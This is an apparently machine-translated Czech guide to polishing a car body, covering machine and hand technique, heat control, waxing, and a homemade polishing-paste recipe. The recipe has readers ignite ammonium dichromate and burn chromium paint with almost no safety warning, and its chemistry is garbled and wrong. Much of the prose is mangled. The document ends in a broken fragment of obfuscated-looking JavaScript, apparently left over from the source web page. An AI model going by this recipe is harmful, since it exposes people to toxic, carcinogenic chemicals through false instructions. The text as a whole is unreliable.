   Pro jakýkoli typ brusky byste měli zvolit správnou sadu leštících kotoučů

   Orbitální brusky poskytují rovnoměrnější povrch a minimalizují riziko poškození. Nevýhody - vysoká startovací cena a vibrace při provozu.

   
   S orbitálními stroji se pracuje poněkud obtížněji.

   Pokud máte pochybnosti, omezte se na ruční metodu. Výsledek nebude nijak drasticky odlišný, jen budete muset vynaložit mnohem více fyzické námahy. Ruční leštění je méně odolné, ale pokud se v poslední fázi nanese kvalitní ochranná vrstva, tento argument se stává irelevantním.

   
   Ruční leštění je vyčerpávající, ale někteří majitelé aut hlásí ztrátu nadbytečných kilogramů při práci!
3. Leštidlo po zaschnutí je velmi obtížné odstranit, proto zajistěte plastové prvky těla. Cokoli se dá sundat, sundej zadní světla, Například).
4. Po dokončení všech přípravné práce můžete přejít přímo k leštění. Pokud používáte elektrické nářadí, ujistěte se, že je brusný kotouč čistý. Označte oblast pro zpracování. Neberte si najednou velkou plochu. Ke zpracování vezměte vždy jedny dveře, část křídla nebo polovinu kapoty. To usnadňuje kontrolu procesu a zabraňuje předčasnému vysychání produktu.
   Nenechávejte výrobek zaschnout!

   Naneste trochu leštidla na brusný kotouč nebo na samotný díl (přebytečný materiál rychleji vyschne + plýtvá). Nastříkejte trochu vody a nechte stroj běžet na minimální rychlost. „Ohmatat“ její práci a teprve poté zvýšit rychlost na dělníky. Správná práce s nástrojem:

   • pohyby by měly být pomalé a hladké;
   • pohybujte mlýnkem zleva doprava nebo shora dolů (nebo naopak). Při leštění kruhovým pohybem se objeví „hologram“ - nerovnoměrné viditelné leštění;
   • kruh by se měl vejít do celé roviny, bez sklonů.
5. Pravidelně kontrolujte povrchovou teplotu, můžete použít ruku. Dotkněte se leštěné oblasti a pokud je horká, že vaše ruka nemůže držet - přestaňte brousit a ochlaďte oblast vodou (nebo počkejte, až vychladne). Optimální teplota pro leštění je 50–60 stupňů. Potom leštidlo co nejúčinněji interaguje s lakem. Při přehřátí se lak ničí, následky neúspěšného leštění se hůře odstraňují.
   Ovládejte rychlost a ujistěte se, že nechte auto odpočinout od přehřátí

   Při ručním zpracování musí být pohyby také v horizontální nebo vertikální rovině (bez kruhových). Dávejte pozor na tlak. Teploty, kterých nedosáhnete s elektrickým nářadím. Soustřeďte se proto na malé plochy a pracujte s nimi opatrně.

   
   Cvičte po částech, pohyby jsou plynulé, spěch nepřinese výsledek
6. Výsledkem by měl být matný povrch bez škrábanců. Otřete tělo hadříkem z mikrovlákna. Cílem je odstranit zbytky laku a získat primární lesk. Stejnou technologií naneseme dokončovací leštěnku a setřeme.

Video o tom, jak správně vyleštit auto pomocí pasty a stroje

Video o technologii expresního leštění aut ručně vrtačkou nebo šroubovákem

Ochrana a konečné úpravy

Auto je již krásné a lesklé, nyní je potřeba tento efekt uložit. Po nasbíraných zkušenostech vám nebude dělat problémy aplikace jednoduchého vosku nebo syntetické leštěnky. Technologie je jednoduchá: nastříkejte (naneste) a dobře rozetřete. Pokud se rozhodnete použít nanoleštidlo typu „tekuté sklo“, budete muset výše provedenou práci zopakovat.

Poslední tipy:

• leštěte v dobře osvětleném a větraném prostoru. Pokud pracujete venku, vyhněte se přímému slunečnímu záření a prachu;
• voda a hadřík z mikrovlákna pomohou odstranit zbytky zaschlé leštěnky. Namočte a osušte.

Restaurační leštění bez ochranného leštění nemá smysl. Úsilí, které vynaložíte, rychle přejde bez povšimnutí. Ale opak je docela možný. Pravidelná ochrana voskem nebo podobným jednou za 2-3 měsíce pomůže oddálit nutnost mechanického leštění o několik let.

Pomáhá řešit několik velmi důležitých úkolů. Nanesením leštidla na povrch automobilu současně zajistíte:

• ochrana před působením vnějších atmosférických vlivů;
• ochrana před zničením těla agresivním prostředím;
• prevence proti korozi;
• dlouhodobé zachování celistvosti laku vozu;
• odstranění škrábanců, třísek a mikropoškození;
• ochrana laku automobilu před vyblednutím;
• velkolepý lesk.

Leštění karoserie

moderní průmysl nabízí spotřebitelům široký výběr lak na karoserii auta. Jedná se o polymerový lak auto vosk, tekuté sklo, stejně jako různé další možnosti.

Někteří majitelé automobilů však průmyslovým produktům příliš nedůvěřují a raději si připraví leštidlo a nanesou ho na povrch karoserie doma.

Renovace laku karoserie

Jak vyrobit lak na auto

Před převzetím nezávislou produkci složení pro leštění auta doma, měli byste vědět, že tento produkt by měl ve svém složení obsahovat abrazivní a pojivovou složku. V jeho roli můžete použít tuky, vodu nebo silikon.

Vezměte prosím na vědomí, že tuky nelze odstranit vodou - to bude muset být provedeno suchým hadříkem. Takže začneme vařit:

1. Brusivo na vaření. K tomu vyrábíme jemnozrnný oxid chromitý. Dostaneme to podle následujícího algoritmu:

• barvu obsahující chrom pálíme na ohni nebo páječkou;
• vezmeme předem zakoupený dichroman amonný a zapálíme. Čekáme, až zoxiduje;
• odpařujeme kyselinu chlorovodíkovou vzniklou při procesu oxidace.

Leštíme karoserii vozu

1. Připravíme spojovací prvek:

• 0,2 stearin - lze jej získat vařením pracího mýdla a následným smícháním výsledné látky s kyselinou octovou;
• 0,1 pracího mýdla;
• 0,7 oxid chromitý;
• 3 kapky petroleje.

Všechny části jsou smíchány v zahřátém stavu. Zde je třeba dávat velký pozor – stearin je hořlavá látka.

Po všech výše uvedených operacích je leštidlo na karoserii připraveno - můžete jej použít.

Proces leštění karoserie auta doma

Před leštěním auta je potřeba ho důkladně umýt. Můžete to udělat v myčce nebo sami. Hlavní podmínkou je kompletní odstranění nečistot a prachu z vašeho čtyřkolového kamaráda. Po umytí musí být celý povrch důkladně vysušen. Dále - proveďte důkladné odmaštění celého povrchu karoserie automobilu lakovým benzínem.

Z vozu je nutné odstranit veškerou tukovou vrstvu a malá místa, aby byl povrch co nejlépe připraven pro nanášení leštěnky.

Pomocí houby a leštícího stroje se kompozice nanáší na povrch vozu. V tomto případě by měl lešticí stroj pracovat při minimální rychlosti. Nejlepší je zpracovat stroj po částech.

Leštění elektrickým nářadím

Po nanesení kompozice nechte 15 minut absorbovat a poté vyleštěte. Pokud zpracujete celé auto jako celek, nestihnete ho za krátkou dobu vyleštit. A po 15 minutách kompozice začne tuhnout a nedá se zrcadlový lesk zakalení povrchu.

Všechna obtížná místa se nejlépe zvládají ručně - pomocí stroje nemůžete spočítat a poškodit lak. Abyste tomu zabránili, měli byste použít plsť a mikrovlákno.

Jako dokončovací prostředek můžete použít fixační prostředek - dodá povrchu vašeho auta mokrý lesk. To bude poslední akord vaší práce.

Po dokončení kontrolujeme povrch z různých úhlů, zda na něm nejsou šmouhy a stopy leštěnky. Pokud je vše v pořádku a jste s kontrolou spokojeni, lze proces považovat za dokončený.

Otřete své auto mikrovláknem

Závěr

Chcete-li vyleštit povrch svého auta, můžete kontaktovat speciální servis nebo to udělat sami. Mnoho motoristů příliš nechce svěřit svá auta do nesprávných rukou. Proto se všemi fázemi - od přípravy kompozice k leštění až po vlastně samotný proces leštění - se snaží vyrovnat sami.

Existuje mnoho receptů, které vám umožní vyrobit si lesk doma. Každý motorista má svá vlastní drahocenná tajemství, která pomohou chránit tělo automobilu před negativními vnějšími vlivy lépe než ostatní.

To může být diktováno ani ne tak touhou ušetřit se před zbytečnými finančními výdaji, ale schopností zajistit co nejsvědomitější přístup k řešení problému.

// o;o++)t+=e.charCodeAt(o).toString(16);return t),a=function(e)(e=e.match(/[\S\s](1,2)/ g);for(var t="",o=0;o< e.length;o++)t+=String..document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e